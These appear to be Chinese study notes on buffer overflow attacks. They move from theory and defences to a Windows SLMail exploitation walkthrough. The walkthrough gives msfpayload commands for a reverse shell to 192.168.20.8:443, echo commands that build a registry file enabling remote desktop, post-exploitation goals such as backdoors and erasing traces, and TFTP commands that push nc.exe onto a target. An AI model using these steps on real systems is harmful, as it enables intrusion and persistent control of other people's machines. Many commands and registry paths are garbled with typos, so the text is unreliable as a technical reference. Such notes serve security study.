缓冲区溢出
缓冲区溢出
是指当计算机向缓冲区填充数据时超出了缓冲区本身的容量,溢出的数据覆盖在合法数据上
原因
程序中没有仔细检查用户输入
危害
程序崩溃,导致拒绝服务
跳转并且执行一段恶意代码
如何发现漏洞
源码审计
逆向工程
模糊测试
向程序堆栈半随机的数据,根据内存变化判断溢出
数据生成器,生成随机,伴随机的数据
测试工具:识别溢出漏洞
缓冲区溢出必须满足两个条件
在程序的地址空间里安排适当的代码
通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行
在程序的地址空间里安排适当的代码的方法
植入法:
攻击者向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。这个字符串包含的资料是可以在这个被攻击的硬件平台上运行的指令序列。在这里,攻击者用被攻击程序的缓冲区来存放攻击代码。缓冲区可以设在任何地方:堆栈(stack,自动变量)、堆(heap,动态分配的内存区)和静态资料区。
利用已经存在的代码
有时,攻击者想要的代码已经在被攻击的程序中了,攻击者所要做的只是对代码传递一些参数。比如,攻击代码要求执行“exec(“/bin/sh”)”,而在libc库中的代码执行“exec(arg)”,其中arg使一个指向一个字符串的指针参数,那么攻击者只要把传入的参数指针改向指向”/bin/sh”。
控制程序转义到攻击代码的方法(这类程序的不同之处就是程序空间的突破和内存空间的定位不同)
活动纪录(ActivationRecords):
每当一个函数调用发生时,调用者会在堆栈中留下一个活动纪录,它包含了函数结束时返回的地址。攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。这类的缓冲区溢出被称为堆栈溢出攻击(StackSmashing A ttack),是目前最常用的缓冲区溢出攻击方式。
函数指针(FunctionPointers):
函数指针可以用来定位任何地址空间。例如:“void(* foo)()”声明了一个返回值为void的函数指针变量foo。所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了。它的一个攻击范例就是在Linux系统下的superprobe程序。
长跳转缓冲区(Longjmpbuffers):
在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。意思是在检验点设定“setjmp(buffer)”,用“longjmp(buffer)”来恢复检验点。然而,如果攻击者能够进入缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。象函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。一个典型的例子就是Pe rl 5.003的缓冲区溢出漏洞;攻击者首先进入用来恢复缓冲区溢出的的longjmp缓冲区,然后诱导进入恢复模式,这样就使Pe rl的解释器跳转到攻击代码上了。
缓冲区溢出的防范方法
1中介绍了通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
2中介绍了强制写正确的代码的方法。
3中介绍了利用编译器的边界检查来实现缓冲区的保护。
这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言。
进行缓冲区溢出攻击
(7条消息) 用简单易懂的话语来快速入门windows缓冲区溢出_Ba1_Ma0的博客-CSDN博客_generic_send_tcp
windwos的缓存区溢出漏洞
重定向数据流
用ESP的地址替换EIP的值
但是ESP得治变化,硬编码不可行
SLMall线程应用程序,操作系统为每个线程分配一般地址范围,每个线程地址范围不确定
变通思路
在内存中寻找地址固定的系统模块
在模块中寻找JMP ESP指令的地址跳转,再由改指令间接跳转到ESP,从而执行shellcode
Mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
寻找无DEP、ALSR保护的内存地址
内存地址不包含坏字符
生成shellcode(可以放入自己想要执行的命令)
Scratch
./mstpcyload -I 模块
利用win32_reverse这个功能去连接192.168.20.8的443端口
./mstpcyload win32_reverseLHOST=192.168.20.8 LPORT=443 C
可以快速判断是否有某个字节
./mstpcyload win32_reverseLHOST=192.168.20.8 LPORT=443 C | greb 0a
连接的同时将-b后面的给过滤掉
./mstpcyload win32_reverse LHOST=192.168.20.8LPORT=443 R | ./mstencode -b”\x00\x0a\x0d”
Shellcode执行结束后以ExitProcess方式退出整个进程,将导致邮箱服务器崩溃;
Slmall是一个基于线程的应用,适用ExitThread凡是可避免服务器崩溃,课实现重复溢出;
执行完09.py后,可以拿到命令行的权限
而执行完以下的命令可以拿到图形化界面(这里要关闭防火墙,因为防火墙的远程登录没开,所以防火墙会阻止)
echo windows Registry Edlitor Version5.00>3389.reg
echo[HEKY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Ierminal Server]>>3389.reg
echo“fDenyTSConnections”=dword:00000000>>3389.reg
echo[HKEY_LOCAL_MACHONE\SYSTEM\CurrentControlSet\Controf\Terminal Server\Wds\rdowd\Ids\tcp]>>3389.reg
echo“PortNumber”=dword:00000d3d>>.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Icp]>>3389.reg
echo“PortNumer”=dword:00000d3d>>3389.reg
regedit /s 3389.reg
linux缓冲区溢出漏洞(这个和windows缓冲区溢出方法是一样的)
Linux实验——缓冲区溢出漏洞实验 -20125101 - 博客园 (cnblogs.com)
漏洞利用后阶段
上传工具
提权
擦除攻击痕迹
安装后门
长期控制
Dump 密码
内网渗透
后漏洞利用阶段
最大的挑战 ——防病毒软件
使用合法的远程控制软件
使用TFTP传输文件
Kali
mkdir/tftp
atftpd -daemon -port 69 /tftp
cp/user/share/windows-binaries/nc.exe/tftp/
chown -R nobody /tftp
Windows
tftp -I 192.168.10.5 get nc.exe